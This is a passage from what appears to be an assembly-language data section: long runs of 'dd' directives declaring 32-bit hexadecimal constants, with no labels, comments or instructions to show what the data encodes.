0C822EF1h, 44BCE42Eh dd 0DC04FFE4h, 669AEFE7h, 0C06028BFh, 0CEA88586h, 2760E208h dd 0C78A63h, 1B952014h, 59AF4DCEh, 34804090h, 0EB5F01E8h dd 1ABDAC81h, 803061A9h, 0DF2F9E0Dh, 21002C6Ah, 0ACC2FBB8h dd 0B561B7Dh, 5DDD43D7h, 16B6E048h, 8B087091h, 5893E63h dd 0DCC0D697h, 0AC9439D3h, 42184F25h, 0FC7949BEh, 4018D8AFh dd 1554425Bh, 0AC88C248h, 7AEB208Eh, 0E44F1A28h, 21809B73h dd 4FA67EE3h, 0F22C2108h, 5C160118h, 6ED0407Bh, 9F8EAAB6h dd 0B4E7AC4Bh, 6C19E809h, 8DE03410h, 0C3CF6900h, 2ED63170h dd 6CE0B752h, 6B0097EAh, 0D54BA598h, 0D2FABED7h, 0F2D0F2B9h dd 63443007h, 4E01B4Bh, 0C55F4127h, 970009Bh, 40134BC3h dd 0D31BC4E8h, 3F86FDDh, 0BFF0829Dh, 1585151h, 672EAAE4h dd 0D83B6E47h, 5B075523h, 95F2013Dh, 44F4C654h, 9B039E14h dd 34AF578Bh, 4349A015h, 897B02A6h, 2A3D8CF1h, 4F116C5Ch dd 98281602h, 84560AE5h, 1210467Ch, 1860665Dh, 5B6A9863h dd 0B21475E4h, 3075F268h, 8F01F4F1h, 0D5956A42h, 402A507Ah dd 0FFED69ACh, 0B300F66Dh, 0C50AB5C9h, 2CD8B1A6h, 0BE487A90h dd 0A7111407h, 6B914C3Ch, 60A0F74Bh, 0B4B80018h, 584A5C65h dd 55075FF2h, 0F045A121h, 6E381C12h, 2F5C3918h, 0C5296B17h dd 9050A28Ch, 5B8A22CCh, 0C546D66h, 409FFF1Ch, 81D8ABE0h dd 20F0DD24h, 0A940629Ch, 92B4131Bh, 6C4888AAh, 4C5E0909h dd 40402C44h, 9E38AC07h, 19C4A0F4h, 18F6E0BFh, 0A4086E53h dd 0F0013F2Ah, 0EB296DB7h, 96C43410h, 0A4297CA2h, 1769D082h dd 0BCEC5D05h, 0B7A99685h, 50204A90h, 78E2DD63h, 8420A5EBh dd 42E4A2CFh, 0F168D73h, 0E86AB785h, 22A405B0h, 0A810289Eh dd 90EACA70h, 192F7020h, 478840CFh, 0E4B0B480h, 0BD68AC62h dd 0FC0CE2C1h, 49BB9501h, 0EB389A0Fh, 5DD361E0h, 161854A5h dd 5C0FE924h, 0AA399C00h, 0D34F173Dh, 616D18C0h, 21EBC02Dh dd 0E0A1D918h, 7BD5B430h, 3C21C030h, 6353B305h, 89E0510Fh dd 0D5F083A9h, 0D19EA0CAh, 0A820BF2Dh, 0F47E634Eh, 65E3AC1Eh dd 20D8B20Eh, 0EE382B15h, 24ED48A2h, 9D6D5100h, 3519CCC6h dd 0FE5B6C12h, 0AB10BCBCh, 0D06E005Dh, 0F24F5AA8h, 0E2144FDEh dd 412BAD0h, 0B130B05Fh, 0D25408C4h, 69F61CC7h, 49FE2410h dd 8F9E0C60h, 7A62C710h, 3CAF908h, 2019132Bh, 0EE0814B9h dd 0B3342988h, 181E760Ch, 398240CAh, 0E060EC63h, 0E8181017h dd 2161189Ah, 0C61C4C10h, 18A90508h, 31455020h, 0F310CE80h dd 0D108889Fh, 59AB18B8h, 28C61583h, 31081154h, 4F186341h dd 1A47013Bh, 1B95B01h, 888CC53h, 2C0C545Fh, 0C4BB98EFh dd 9472B9D9h, 838846D4h, 39C42997h, 370C6813h, 0A8400E59h dd 0F98A8E4h, 0CF08CC3Ah dd 62636911h, 205E4220h, 0F46F58C1h, 0FA41D861h, 4D08C673h dd 0B16318DBh, 1819BE41h, 20ABD608h, 8C6B71Ah, 3128EA04h dd 0B4107BCAh, 82088C8Dh, 0C4C7302Ah, 66A9779h, 3118441Eh dd 68084CB8h, 641895AEh, 98FE10A8h, 58ED8C1Bh, 3E058692h dd 2996CC46h, 0A54D3108h, 88DFCB18h, 159EAF28h, 7110F005h dd 5BBC1018h, 8BA0118h, 18CA4055h, 798C8044h, 40E2088Ah dd 8040CCA2h, 28E56306h, 21209A71h, 5CFF20C1h, 8BE1633h dd 51E918D3h, 0C54A78E8h, 0E02118CAh, 704AAA92h, 9C88EC84h dd 52F60C8Bh, 0E4D98808h, 4E0171D0h, 9E088C85h, 62875810h dd 1BFA0828h, 23F1A02h, 4A0225C8h, 50C0C9A0h, 774C0888h dd 70118618h, 2584AA4Bh, 0D84A4980h, 868CF4CEh, 408008C8h dd 79407AC3h, 56A740CEh, 66F26340h, 31EB38EEh, 88706022h dd 0C43692F0h, 6BF2268h, 20103DEBh, 0DC365EE7h, 6229096Eh dd 1D473954h, 3556502h, 82481E5h, 0E899A490h, 0F051B719h dd 18884AACh, 0D20898A2h, 2E9D087Bh, 544E1F12h, 2B08B988h dd 74E3518Ah, 0EAD1B1F0h, 7F7190BBh, 9544C524h, 9E198C62h dd 51344038h, 9530E8E4h, 26907010h, 9882049h, 8A236AFh dd 209F7520h, 0DF4DB361h, 0C0713C4Ch, 0C390A9EBh, 0B645F988h dd 0F1D19918h, 63B4A2D6h, 0CC1076FEh, 0DB5180B1h, 13400F40h dd 204AED99h, 0F8A437A4h, 0F862FE26h, 50A39F81h, 10BE5B56h dd 66481F05h, 62F780E5h, 0BC2CB4A1h, 3C867C30h, 1845DE3h dd 222A45A2h, 2BA8EFB3h, 17AA64A0h, 0BCF0E54Fh, 701E934Ch dd 0A92A1403h, 86DFE8B0h, 0CE5971E5h, 56402C50h, 14B5300Bh dd 9A8E050Bh, 185C5A24h, 28DD5CE5h, 0FE6155A4h, 17FB50C1h dd 401074h, 419C39B5h, 0DCAC0EE8h, 0AA634375h, 0E2A46E28h dd 3C0852C1h, 62047C70h, 0F8C9E548h, 0FDAE0C04h, 0F834491Eh dd 75181E0Dh, 851953D4h, 1AA4B810h, 10085DD1h, 34E51644h dd 1A095A9h, 0B50CE984h, 0D51082A4h, 0FF8C4263h, 41A218A0h dd 2732E5FEh, 77BB2054h, 7AC978A0h, 0B000F20Ch, 0D70DB1D0h dd 0E44C506Fh, 92E5251Ah, 32D53882h, 7009845Ah, 63DC9Eh dd 2057A4A3h, 765B024Fh, 3FA2CA10h, 0DF1F0880h, 6D09B52Fh dd 0E97741ACh, 2FF6C0h, 7A087C44h, 0A53E31C0h, 0F792F72h dd 0C4D5A328h, 8CF00891h, 90142BD1h, 0B5AA07B0h, 15406A1Eh dd 308C4D1Fh, 0CA20BA57h, 0A229BD6Fh, 680B905Ah, 0AE1CC8E5h dd 50E798DDh, 21B8ACh, 0A4EFB502h, 9A1D0AA7h, 4CAA4E02h dd 0A74BB9E5h, 704057F8h, 68E7E304h, 108D8D2h, 9A41946Dh dd 1114233Eh, 777B24A5h, 0D234022Bh, 56A2D90Fh, 554F0881h dd 0CD30A057h, 0A820F930h, 39CFE7Dh, 0B4582BD4h, 0FEAF0198h dd 0B80AD280h, 4F18CBD0h, 5D386F3Eh, 99A7874h, 0F0C1DE4Ch dd 0CC655C20h, 6728C91Fh, 0AC0078F4h, 8E681EA5h, 6331D9h dd 204D32C7h, 0F010147Dh, 27BBC50Ah, 1A01D0D7h, 6328C50h dd 0BC5C9095h, 669A210h, 221618D2h, 40242859h, 0B8C12F0h dd 6504783h, 15F611ACh, 1483FA1Bh, 0DF901D4Eh, 591ED5C2h dd 9D020E71h, 0E0681576h, 199D1ECh, 3763D45Dh, 24D26A05h dd 0D1C0CFA4h, 0E9594B9Ah, 0A5AF00F0h, 0E1C4250h, 10481924h dd 5C430A10h, 1E18C0B0h, 802A3DC0h, 0A949ACC1h, 41B40954h dd 0D1DC182Eh, 90C98EBh, 16B527DFh, 1702B8DEh, 80A176E5h dd 9AAAC8E0h, 908748DDh, 57064283h, 3A1B4000h, 3DEF9A7h dd 0F8C2F92Ah, 0D3C50038h, 0E5D6B51Fh, 393CEE55h, 9A269ED7h dd 480B320Dh, 906B2CE0h, 67BE00DEh, 0BAC31A9Eh, 0FB07A489h dd 0DF1C9B04h, 0DC0BE6C0h, 8AFE0C86h, 0B0D1AA11h, 0E989401h dd 61A0E51Bh, 4445A880h, 3CA536C4h, 538C1E05h, 0A3009B19h dd 7DA89821h, 482C9877h, 0C4811018h, 1B0E94Fh, 24208C5Dh dd 680C04C7h, 803241FFh, 0B529AD90h, 3C70F548h, 1004485Ch dd 0E20386C2h, 5214E528h, 0C0328024h, 3021AD0Dh, 6DCDEC41h dd 469A0889h, 28058C10h, 4CCB548h, 970D43D0h, 74F46306h dd 294DF4Dh, 0E878B350h, 14104139h, 1706D30h, 22D524FBh dd 277C6D47h, 0AC5300B8h, 8AB86FE4h, 94145422h, 0FC9A55A5h dd 1FC5C080h, 0E767FE68h, 0AD008890h, 597171Eh, 2A45E31h dd 3EEBB150h, 2840E7EEh, 351E7CC0h, 0E506D90Ah, 24E88928h dd 30D096h, 1AAC8ABDh, 0D32043C7h, 0F0E8086Dh, 384A3DA2h dd 0EF80CB80h, 6518749h, 0DE425F05h, 0CFA2089h, 8C2A55h dd 0E89B4FCCh, 62F24890h, 0B8F61532h, 20C042AAh, 0B98C44C8h dd 0C060C1C2h, 80340ACAh, 13B51041h, 0B17CBDE5h, 6DCB4150h dd 39345243h, 1E06347Ch, 77782007h, 0DD20C017h, 32120D8Eh dd 31422909h, 0EFB00E27h, 3F28A1B6h, 4C24CA46h, 91C304DBh dd 83EB246Ah, 1105DC60h, 9B71C2C7h, 4E32BC30h, 52B727Bh dd 578AC6F0h, 56D05F78h, 42843047h, 4B0E4FAh, 0A1C76700h dd 0D87966Eh, 2C194D37h, 0BBACEE00h, 1CD4FF9Fh, 2C489A1Fh dd 0E503E0C1h, 0F8815BBEh, 0A9E917DDh, 654FE454h, 49DF9540h dd 4051F047h, 904C20h, 0A48B42B1h, 181E3154h, 2113D001h dd 8034D1B0h, 25DC30h, 0E77CE491h, 4D9BC6EBh, 0ED4B2400h dd 1868DD1Dh, 1A5924F2h, 4D48E570h, 26104AE4h, 0CCCD2480h dd 8E5DDA09h, 7FA6A690h, 1E85ED8h, 3F4FD1ACh, 49ACA7h dd 0A0016512h, 1DD05015h, 0A160D049h, 9A36000Ah, 162D282Bh dd 0A04A87A3h, 435AD090h, 67B0E28Ch, 0E0021010h, 2817839Dh dd 5A2DBD0Ch, 40F1204Fh, 7B00C607h, 0B506494Ch, 0EA537EDDh dd 9A4B0102h, 40D4AE43h, 5860FEF3h, 0A37F6055h, 8AB9101Fh dd 7740603Fh, 0C88E020h, 49014F46h, 90056A9h, 9BD7FAB7h dd 622433h, 8C05289Fh, 0D8B80FCEh, 5D425B00h, 0FBB36116h dd 12190023h, 3F509617h, 0B88B11h, 16CC60C5h, 28E5F088h dd 24F458ADh, 213CFBACh, 43A201B0h, 550FDFFEh, 7D740AF4h dd 5C5D40CCh, 1F204FCCh, 6C93B3h, 6C09C4CDh, 0EF264F8Dh dd 0B1003C79h, 0A220BC4Ah, 0FF9A7748h, 983B19C0h, 0DE6017D0h dd 7CA50C69h, 1B03D1A0h, 4974B3A9h, 0FFB4E138h, 5F87C457h dd 19EC682h, 24D62A42h, 7001C970h, 8CB052B3h, 80041FF7h dd 0BF079314h, 8A9DA10Ch, 0EA8EE0E1h, 22D72C7Ah, 74E301B4h dd 20A46215h, 0E0509298h, 814EA9Ch, 3C8C8291h, 4B1BEA5h dd 0F14F9889h, 6021EC92h, 588AF5h, 395B56A4h, 0FF4FB3ACh dd 4117ACB6h, 7105E807h, 0C097B1E0h, 74961314h, 87F8F080h dd 0BECAAB18h, 2C99A8h, 0EAF962C3h, 5010849Dh, 48A64530h dd 0FC478AE0h, 9AE602EDh, 1C255E37h, 11D2E4C8h, 9E3A6815h dd 0CDC58E0h, 10809BE5h, 16C940Fh, 0BA5066B4h, 37508999h dd 0B37C8534h, 0BF7D808h, 1C2E1D42h, 62CC6136h, 81AC20FEh dd 4FA9CE60h, 921340Bh, 5E0D6A1Fh, 5AC2403h, 3F401AC2h dd 709814C1h, 0CB586E60h, 0FBA2BE6Fh, 66249C32h, 39420630h dd 0ACB21168h, 50221400h, 0A47192FFh, 60ED03E7h, 0F265D44Ah dd 0AC7F42E8h, 9CF06CB2h, 36316100h, 1072C90Fh, 0C45B134Ch dd 0B0BC440Bh, 5CDA011Bh, 8CC44999h, 801C60D6h, 31D7411Ah dd 578D259h, 2EC06FC9h, 4A947801h, 8C20AE8Ch, 84D9DC44h dd 88289A82h, 0BC5C4D7Ch, 100BC65Ch, 0C83A50F0h, 5844985Ch dd 0E50B14A2h, 1C2038F6h, 0FC472AFAh, 43506800h, 36E318F4h dd 20F4ACh, 0CF59483Bh dd 331BEECBh, 6B83900h, 422DC8E3h, 844F5965h, 43C6E50Bh dd 5C528F89h, 30CAF0C2h, 570C0D1h, 404B838h, 9843DDBFh dd 0CC680476h, 60F58A4h, 0E9E518CAh, 6395982Bh, 4858C3BCh dd 4324A890h, 0A8AB0090h, 0A5663B70h, 68411E28h, 3DAFBA20h dd 8705497Eh, 46ADECACh, 719A4084h, 0C79FEB00h, 70DBB4A8h dd 34B8986Eh, 0C048AEC6h, 0B53005E4h, 0A487C01h, 8E9D0CD2h dd 0F7005828h, 22E9D424h, 0CF244FE6h, 6080803Ah, 2EEB2767h dd 82701818h, 80D018BEh, 8855422Ah, 8C9D1D00h, 0DDE5121Bh dd 488092C8h, 8C58605Ch, 2796A210h, 2A87816h, 0F0960C9h dd 34599C6Eh, 64009444h, 6B68E843h, 0ACCC009Fh, 3C1B1F0Dh dd 828BB9A3h, 5C005334h, 0C7CF2261h, 249A5D00h, 107002FBh dd 2A8733E5h, 0F6926648h, 5603AC4Eh, 92C2DEACh, 1A0FE841h dd 424416EFh, 21F440E0h, 67F7AC3Ah, 4CE0CA52h, 1A45218h dd 91D9BAE8h, 43D1AC0Eh, 0DC50C6h, 54A2BB32h, 6D83A89Fh dd 8AB5E804h, 1017C1C2h, 0C8908C38h, 0AEE00793h, 6449490Bh dd 62C06194h, 0DBF600E8h, 0E0A444B4h, 0FF8B10D0h, 106424CCh dd 0DD173711h, 90E4A462h, 2420E64Eh, 0B82A2716h, 0BC9E40A4h dd 48BB9304h, 0DCFCAA09h, 2430423Eh, 0ABC579C0h, 0B020490Ah dd 402A5462h, 0C47F982Eh, 5EE90052h, 787AD8h, 0A5204424h dd 0DC7CC78Ah, 5A9F3F00h, 681B769Dh, 0BEA914CAh, 0CF27F58Fh dd 9CDEB400h, 0B200308Dh, 2832B6F3h, 4B645DFFh, 8CB430D1h dd 0B0BAEC62h, 0C43C8D2Eh, 0EF6A4261h, 0F624060h, 26018EA3h dd 1943D420h, 78992404h, 0B4009017h, 63CF70D9h, 37675FAh dd 7E774184h, 0E4E3DCCEh, 902C50B6h, 211640DDh, 15A6F800h dd 0D5F47Fh, 3EA2C131h, 61DCB479h, 3AD96700h, 24760AA9h dd 421B0B41h, 0D80459A2h, 0E008F41Fh, 0D03C3749h, 0FA3D7DCCh dd 6C855ECAh, 25D6C820h, 40C64C79h, 0CB133204h, 0DD478115h dd 70E5E976h, 49F0E1A7h, 0C1E6A400h, 8098AAAh, 5BC602F2h dd 0F7648744h, 0D48D0441h, 1C5C5CC7h, 0FA610F84h, 0DAE5A422h dd 2BD28A0h, 49D11D2Ch, 0F0C025AAh, 0C781268Fh, 1CAC0E60h dd 6F314F4Ah, 0C890F05Ah, 5DD13A09h, 0A0D0EC0Eh, 824AC9F8h dd 0DC843C72h, 4F3C4C09h, 0A048C088h, 2310008Ch, 711820E8h dd 28C0CDD9h, 6AC47F9Ch, 638B27A3h, 0CCD005h, 239BD9ECh dd 0A203DD67h, 61A187F9h, 9E200485h, 0D0A414E9h, 6719E0F0h dd 0E5795C61h, 2035AEF7h, 0A1DC60D6h, 0D10C727h, 72340761h dd 6C440E5Ch, 5BB4E1Ch, 8C1C2397h, 0FFD8C882h, 1558E018h dd 17217514h, 169E5B0h, 7123BA34h, 2EF1C468h, 0FF01D07Dh dd 0D14F4322h, 5C2D1ADAh, 7EE51504h, 4FCCF20Fh, 0C0C48009h dd 5FAB4FC8h, 8918817Fh, 8475D010h, 0B931A18h, 163C1840h dd 424543DBh, 6DDD1BD4h, 14792442h, 0E9D909h, 87429928h dd 35C90CEh, 4649897Ah, 0C8B0A504h, 4030E5ADh, 3EA43808h dd 0D813055Fh, 81E6E7AAh, 24A5068h, 345CD06Ah, 0C11090EDh dd 317F54h, 0E8C4EAA5h, 0E9D2046Ah, 805E641Ah, 22B48A74h dd 2C6190C0h, 4CC28C35h, 1CDE4054h, 822C24F5h, 57A442AEh dd 174F1C46h, 0E8EFB822h, 62B242A8h, 9F68C8FAh, 0A4282444h dd 14B81C50h, 157BCD00h, 0A5B9FCA7h, 565C2458h, 1A50E14Ch dd 0DDC840ECh, 0A6F8E68Ah, 7A42BA0Ch, 191360C5h, 0E0DB9668h dd 81E1ED8Ch, 0E027EF38h, 0F8705B62h, 2422EBDh, 0DC1794CCh dd 986AA786h, 878C5208h, 0C7E1FE4h, 2270D79Fh, 423A0478h dd 1CEB93C4h, 44800074h, 95229DEh, 0F7AD7F86h, 6E0B9456h dd 71843AA4h, 3502BE6Ch, 0F6E72B90h, 73671049h, 5DD5132Ch dd 400DD403h, 0F6693CE2h, 0A4F04C79h, 30CE0700h, 4154A480h dd 483EFD01h, 0C5D8B7E7h, 0E583282Ch, 4058903Ch, 0DC961360h dd 0D072AC16h, 8CC499FEh, 2F754F01h, 20074404h, 1376F0B2h dd 61D67F68h, 0D004AF0Ch, 4A308C40h, 3202480Ch, 0A16C04DDh dd 0CBEDFC1Fh, 0D8E80130h, 0B29743C4h, 8C201094h, 8C138047h dd 0C70C8082h, 3D022113h, 0ACB0BE9Fh, 483DC33Fh, 984C48E1h dd 0CC08105Ah, 94245F21h, 833C8000h, 58775D18h, 704FCCEh dd 87737F6Ah, 0DBA5905Ch, 1BFA5075h, 1FAD3580h, 395D61C5h dd 6794562Ch, 0D7392025h, 0E353D2C6h, 0B39E10B0h, 3E64AA2Eh dd 0ACA480E8h, 2016820Ch, 5542682Ah, 10869C2Bh, 0EB04511Dh dd 0BB4AFBFFh, 2EE869C1h, 738DE3D0h, 890206DAh, 0F8DB2ACAh dd 784F5008h, 0BA530490h, 13E8808Dh, 8C02455Ah, 0CA319516h dd 4DE0C823h, 810F2E79h, 59EF8FB8h, 0D6337FC0h, 5D000ECEh dd 0E697D26Bh, 0E867537Ch, 64260B51h, 0F80142FFh, 0C415819Dh dd 5F002F22h, 0E4346F2Bh, 77AC391Ch, 34E84C4Eh, 5194E510h dd 0A6E005A4h, 2DE860E4h, 26296109h, 87EC17E5h, 672763C7h dd 48C0FB4Ch, 0DB487C42h, 0E2F72D4Ch, 78E812FCh, 6FC009CCh dd 189AA2BFh, 0AE5C244Ch, 304424A8h, 0BF000C9h, 50036Fh dd 43D82DD2h, 0DDADA6C7h, 1EB47058h, 4F46E458h, 88486C5Bh dd 0C07C5DCh, 0F3AA4224h, 0F2076790h, 0BED92CB9h, 3082E0A4h dd 0E98EC08Ch, 6B180935h, 0F8A07DDBh, 0D3BB9B54h, 84C1140Bh dd 0E184437h, 6995AC33h, 0BFBE6700h, 0A90E31FEh, 207843A4h dd 284F1D10h, 2D88D3C3h, 0E5F86408h, 18EB6524h, 0CA54A200h dd 13B0EE99h, 0ED8E4Fh, 42CB3350h, 254BA5F1h, 131D9C5Eh dd 0C50598AEh, 0F880C287h, 528B04h, 3264D738h, 3995CD89h dd 0C5ED0F00h, 0D9237BC7h, 510032Fh, 3F634276h, 0A8EDC90Ch dd 51CB88A5h, 7471E4B9h, 0DC7876E1h, 0C41B0CDEh, 0C1180F20h dd 6C08B4FBh, 9462F069h, 1D133E94h, 0C0A49770h, 0B7A84FCBh dd 15DF5380h, 0F44C9343h, 0F51EF200h, 478C7921h, 8C84CB4Ah dd 0F4098C1Eh, 45290h, 0EAF0D308h, 0C6D8BC4Dh, 9A17C400h dd 65EE0437h, 19E50957h, 744CE30Ah, 4184F609h, 32F404AAh dd 8C44E080h, 0B8E64DAEh, 0A4353000h, 0F6EF405Bh, 0D3E7F307h dd 20AD248Ah, 0C0090047h, 12151D3Ch, 13F9FC98h, 4260C1C0h dd 9146C7Eh, 440A68CAh, 0E5AE0A0Ch, 0B5A4D929h, 0E8201F90h dd 0C9F20187h, 0B126597Fh, 0C46AF0ABh, 31C05518h, 1F560D0h dd 56ADB224h, 40283042h, 0A8FE07F0h, 189E4099h, 4B018784h dd 0F484A495h, 58604CA5h, 0C4185812h, 93A8A0D6h, 0AA65C309h dd 0F244F024h, 143D48F6h, 5E793C4Dh, 0E0EC13FEh, 0B61FE808h dd 6E1E7224h, 259818F7h, 0C31680A2h, 0C098D0EBh, 4317E3D3h dd 440D2DAh, 0BF6B44D9h, 0E6A40070h, 6CEF3D66h, 2C98F2E8h dd 1380EB72h, 0B0543E18h, 0F9645B81h, 0E271E5EAh, 745D68C9h dd 0E8A96948h, 50903C77h, 5C92673Ch, 627AC098h, 0AC6CE024h dd 64499A42h, 37DF2DE0h, 0C36FC410h, 0E0D48A18h, 885E2129h dd 733EFDE5h, 9BD700E7h, 0F3350A24h, 1D890D0h, 0D19C9D27h dd 54423903h, 22C44980h, 515C2900h, 11FA25B7h, 57B8073h dd 0E030E52Eh, 4FC4249Fh, 0B0A94B9Eh, 5A40D039h, 0BB955EF8h dd 0F734F188h, 28942089h, 4450570Ch, 5CF09648h, 9E670148h dd 7ADE0CBFh, 1F984C70h, 0FC67E51h, 21A02AC7h, 0C8F0A489h dd 0FC79591Fh, 6BAE9F00h, 558B1F71h, 582DE8D7h, 0DC3CD060h dd 9CA4279Bh, 43DE4E09h, 1107099h, 6566391Ah, 0EDD88C03h dd 275C33FEh, 7EFC60FFh, 0D2670047h, 951DCFC5h, 2D62A98Ch dd 594AAA68h, 3F8C42A8h dd 1C90A8F2h, 3AE0A46Bh, 0B018CCA4h, 43889E84h, 82CC20A3h dd 0B30734ECh, 18E068B9h, 0D2C8028Ah, 75534F8Eh, 58EFE060h dd 0AF2D9A04h, 0C8805703h, 2E519180h, 13D41C60h, 0E8A60076h dd 11CC46A5h, 0B4EFD705h, 0BC4537FEh, 5C040F44h, 9C853302h dd 0CA43E8D3h, 0C40460F0h, 42221907h, 0E119115Ah, 444C4120h dd 32FC28F6h, 5C1A21EAh, 684F0644h, 5D04E8B1h, 3BEAB6D9h dd 76C9DC89h, 0B54CAED0h, 0C083CB2h, 0ABD20314h, 7CE93F16h dd 77A09234h, 0F2E94405h, 60AA2C82h, 94200BE0h, 3EE8A950h dd 0CD936848h, 0F7E8007Ch, 576132F0h, 0A66B8A08h, 32B10434h dd 285166ACh, 63D3D4B8h, 0A64F4800h, 0E5DF38Dh, 0F09758D0h dd 4378E007h, 161810BEh, 3F06B13Ch, 7EBA45Bh, 27D23F42h dd 509A2C83h, 63D0A0DCh, 0D3485EADh, 0B01B0078h, 98C3DD0h dd 0C088DCD6h, 19EEB931h, 0B0B2FE6Ah, 99164904h, 28B071A0h dd 186E60D5h, 4FE18CE0h, 0E0A1F64Bh, 5C318404h, 312F9BC7h dd 530A0B0h, 1FEF68A0h, 0B20B50Fh, 944CC95Ch, 0AF40C278h dd 9AF4A170h, 88E818A9h, 4426622Ah, 0DF43D0E0h, 921CAA75h dd 183880C8h, 31A90EBEh, 3620E57Dh, 99508D42h, 0E42219B2h dd 9B03C602h, 0C0EB3EE5h, 86A9BFC9h, 46F94270h, 0D9620060h dd 0AD33ABEDh, 53E8AA77h, 29BEBA01h, 9C02BFF6h, 56DF5C2Ch dd 0A02C544Ah, 6DA4405Eh, 0B4DB2009h, 1EF34209h, 42F86524h dd 18712113h, 0E81B430Bh, 387E6A8Ch, 3A04FF2h, 0C28D494h dd 0BFC0D00h, 832FD04Eh, 0C94A067Eh, 5E42F167h, 2C289358h dd 171D3668h, 7FEC073Fh, 41CF5196h, 6D1982A6h, 0B3AE6F0h dd 4C8193D1h, 0A63BD061h, 1420F811h, 54051C00h, 0DC9FF7D3h dd 52F33743h, 8C4FE0C0h, 0D0C06E6Bh, 61E0F22Bh, 9E630B1Ah dd 0C0007765h, 6A51017Ch, 5FE408B2h, 0FD8EE4B4h, 0C4558150h dd 7B204Fh, 44B04D34h, 0DA25E8F2h, 42D0B0CAh, 1E6C403Ch dd 127EA53Ch, 749049EDh, 54C04BCh, 8B43E07Ch, 42BC1F34h dd 0E299BEE5h, 772FF800h, 70C3640Bh, 9EDCA809h, 1AEF7507h dd 0F0ACA28Fh, 8CD89867h, 0D314405Eh, 42186561h, 60800F84h dd 1A0E7B0Ch, 4C9636AAh, 9605B1Fh, 890DB318h, 0C7E8F08Fh dd 0B531CC00h, 80F6D38Ah, 584B6CC1h, 5C2A3C89h, 0C969D22Ch dd 0BDBBD79Ch, 31D43003h, 98E4A2D3h, 786AF559h, 0F4520332h dd 8F2DEB67h, 534317A8h, 51EF1D03h, 699142h, 78082160h dd 87E01E77h, 65244FE4h, 6C8058B4h, 768D5735h, 373D1362h dd 4D4B062Ch, 441C2005h, 0E8C963DFh, 0DF8E0CBh, 0C8D0546Bh dd 840850EAh, 0D14C9670h, 39250732h, 207B405h, 6246BC47h dd 43DA42E0h, 8401BFF6h, 0E92EEA28h, 12842C2Ch, 0ECE1D66Fh dd 0F880D8FBh, 38E5B9Dh, 356004B8h, 0EEE1DFA8h, 80C7AC38h dd 0A9102214h, 13A444B5h, 1965857h, 8F08E980h, 0F1C02506h dd 22C2C471h, 18594F18h, 0F7E3B90h, 38E76740h, 8CAF29A0h dd 0BCB2D810h, 0C8E04739h, 3B82C444h, 48826E09h, 58C8FEA9h dd 0ECB8FFA6h, 1FF46613h, 0FBD088C7h, 9ACBE513h, 84D45888h dd 1EF00C30h, 770B75A8h, 0A8CFE516h, 91128810h, 4C1848A0h dd 3EC01C15h, 0DE7363C7h, 0A2D1E70Ah, 1F050856h, 0B4F09668h dd 0C0805F8Ch, 3CAC46Ch, 0E4C8244Bh, 0C70F984Fh, 647D0828h dd 0DC00BF32h, 0C72BE527h, 0B8DF1E7Ch, 20CFCC0h, 9B90E770h dd 40983807h, 3FC11503h, 4B2FE2CDh, 5881E3C8h, 3AD46E50h dd 4852CC0Ch, 1F0C0553h, 0B374A56Bh, 6E51348h, 33D4C044h dd 542784F2h, 0BDE5AC81h, 34C00432h, 3E757C35h, 8717F676h dd 5C58F8F3h, 8B50832Ch, 5DD028FFh, 488C1934h, 0FA1658A8h dd 3988E87Bh, 4CC93BC1h, 1315FC4h, 6DF3AC42h, 89C35869h dd 5F98A8C6h, 1A072448h, 93021C07h, 69D1B2C0h, 17C8F878h dd 452D27FCh, 0F39BDB18h, 0B6AA10FCh, 0CB901606h, 3D261883h dd 0D218569Eh, 14659A8h, 0E4F5655Fh, 92AC53E5h, 3C200D30h dd 25B8E7CCh, 0DC93FFD8h, 48A2D850h, 60C510CBh, 0B05317D0h dd 0C9691h, 0D8487EA6h, 0DD1BE9A5h, 0C858978Ah, 0B6FADBh dd 9E6FCB3Dh, 7B4F4AABh, 825944Bh, 2562C893h, 1C90A7D0h dd 1A05CE28h, 735D14E9h, 80544C4h, 0B4A015E5h, 1CE40024h dd 0ADC2DE4Eh, 0B501C382h, 3E8CDD19h, 0E0CC2203h, 174F099h dd 0CA87D1C7h, 64266042h, 90BE9E98h, 24A33564h, 8200952Eh dd 0F0E51EFDh, 0AA2588F0h, 5FCA905h, 0C88824C5h, 0B66F038Ah dd 42331AABh, 0E5A85BE3h, 28904359h, 20D3D103h, 4AB5BB4Eh dd 0E5E48048h, 60BA9F9Eh, 3937E002h, 0E98B178Ch, 0D434C650h dd 70DD031Dh, 3D460E85h, 700E0C6h, 0D0C8FEB5h, 24A5CBF8h dd 177CB6D9h, 575490BEh, 0FC1F4C29h, 97181FB0h, 0A90B89h dd 0C9E66C14h, 0A58AD8F7h, 5A70F861h, 0C8605E50h, 908D12F0h dd 91C404C0h, 0D0A70024h, 3A265Ch, 1B2E449Ah, 0A987C913h dd 7CCC6659h, 2B004C78h, 0A64FB75Fh, 2EEEF12h, 0E53CE1F2h dd 0B84833EAh, 4D4C0A43h, 0FEC680E0h, 98D86B74h, 5070FDC0h dd 725D001Eh, 0A2DBE7CFh, 6348C53Ch, 71B44C4Ch, 72945Bh dd 0BB84D368h, 44412D79h, 0F87CA84Ah, 0C11666C4h, 0F363D9B0h dd 0CBB6BDA0h, 216DD00h, 0F7A43825h, 0B84C3CD6h, 27F26805h dd 44908015h, 94956DE9h, 96B020B8h, 58A8209Fh, 9899FA9Fh dd 0B5340330h, 0E5F3B2D5h, 0C1547EC3h, 42507F2Ch, 5C9AA0CCh dd 0B062CD20h, 5C8801A0h, 0C44FD846h, 0D7688B30h, 9245A2Fh dd 810515D1h, 32268480h, 4A0B0CC1h, 2AC543EFh, 6D001CC8h dd 0FA21CCD1h, 0A36C2C41h, 2BBE8080h, 0E3977DC4h, 689AA750h dd 0E251F7F2h, 2C3DC8E4h, 18BA3830h, 142E5B9h, 0B64D9BE1h dd 405AED4Ch, 0E058A4F0h, 0C480809Dh, 34A255FCh, 2407A5Dh dd 78C3708h, 5C94857Dh, 0D2825487h, 2DF8F2F0h, 8903CCBh dd 6170DD21h, 0DF1BAD03h, 2C2FA043h, 9450B0h, 0BC4D39E8h dd 2A98C4C3h, 6101997Fh, 0E5B1120Ch, 246060D4h, 0B3E81830h dd 944EF0D6h, 42D09097h, 8009547Fh, 3400B8E9h, 802045C3h dd 0CAB68A66h, 0AB8070B4h, 0B1D064F6h, 176F0009h, 0F3497E9Ah dd 584BD7C4h, 0BF656A01h, 0F4204AEDh, 64384B0Bh, 918BC60h dd 60BC7568h, 9E13C704h, 35F08274h, 8CE0B5D9h, 0C309AF55h dd 88921BD7h, 43060854h, 2B01D5Fh, 